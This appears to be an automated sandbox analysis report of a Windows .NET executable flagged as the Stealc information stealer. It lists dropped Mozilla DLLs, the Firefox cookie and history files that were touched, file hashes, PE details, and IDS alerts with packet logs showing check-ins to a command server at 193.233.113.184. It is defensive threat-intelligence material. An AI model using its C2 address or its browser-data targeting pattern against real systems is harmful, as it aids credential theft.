SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	2.5600289361122233
Encrypted:	false
SSDEEP:	3:oWEMo6vvRya:oWEpKvD
MD5:	198AA7622D86723F12D39AA38A10C97F
SHA1:	B3FE9A9637FAF01EFCFCB92AB288F7C91CE87F63
SHA-256:	88866B26B5F228DBEF268709E063E29F5BD89C114921148BEAA92FC2EACD2E2D
SHA-512:	8452029C020F524303144260D478F8F15E2AD5A4BB3F65DB06B62DEA568FAD165949A0FFDE119D7F5C4CA58E87AF660C35CCD54CE78D82BDEB01F6E84E3ED5BA
Malicious:	false
Preview:	012340..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.987234333701697
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	324'608 bytes
MD5:	a1c72950a28756d4f53171395e10af13
SHA1:	e3aa7df014d4f3ecdd034c4ef9896b9b5c79b055
SHA256:	0ad3bca28149eb3c5e3da6ffc1d73afb6a9283bc36387c4ad1f41fa9367d7b41
SHA512:	14d1cbf79810d92c46e51fb23ecc9bbc9f8ba1425530b6b60d024b5b41e60b92f6b6000c18ee47bdb68bcac5c28e36792d6e6cf06603304a37a56355a3f0e55e
SSDEEP:	6144:zBnGQNZXyiqMJERi5FPiQ/N7Z4IpUjm40TWt0Yb9RdsAXwP:zcQNdpquei5FPiQ/EIpUaWmPA
TLSH:	2A64233DA1D9C1B7CDF5403528392A6A2AB8FC1BF48FB69FC04AD41766C572407FA198
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................>.... ... ....@.. .......................`............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x45093e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F2EECA [Tue Sep 24 16:54:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x508e8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x5c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x507b0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4e944	0x4ea00	9d25fdba895c9d142e63649661e789ac	False	0.9928271562003179	data	7.994829103320085	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x52000	0x5c8	0x600	9ebd0f3bba1b718849fed8e1b7a22373	False	0.4368489583333333	data	4.117198219616859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x54000	0xc	0x200	32e0f66d955a36222bea56bef1bdfea6	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x520a0	0x338	data			0.44660194174757284
RT_MANIFEST	0x523d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-24T21:30:03.541323+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:03.755367+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:03.762487+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	193.233.113.184	80	192.168.2.4	49730	TCP
2024-09-24T21:30:03.970055+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:03.978224+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	193.233.113.184	80	192.168.2.4	49730	TCP
2024-09-24T21:30:04.544163+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:04.756396+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:09.066381+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:10.114348+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:10.775613+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:11.383589+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:13.085499+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:13.664107+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:14.963911+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49730	193.233.113.184	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 21:30:02.630695105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:02.635552883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:02.635615110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:02.636497974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:02.641367912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.319282055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.319621086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.322360992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.327249050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.541241884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.541322947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.542912960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.547822952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.755285025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.755342960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.755367041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.755410910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.757524967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.762486935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.969960928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.970055103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.970101118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.970139027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.970144033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.970196962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.970974922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.971060991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.971071959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.971112013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.971894979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.971931934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:03.971940994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.971966028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.973310947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:03.978224039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.190502882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.190655947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.207067013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.207067013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.213763952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.213799000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.213828087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.213855028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.213888884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.214629889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.214657068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.214684010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.544095039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.544162989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.544758081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.549561024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.756232977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.756288052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.756396055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.756413937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.756422997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.756468058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.756894112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.756930113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.756953955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.756968975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.757836103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.757869959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.757904053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.757904053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.758630037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.758663893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.758671045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.758711100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.759614944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.759656906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.759661913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.759692907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.759710073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.759731054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.760556936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.760592937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.760600090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.760637045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:04.761538029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:04.761573076 CEST	80	49730	193.233.113.184	192.168.2.4
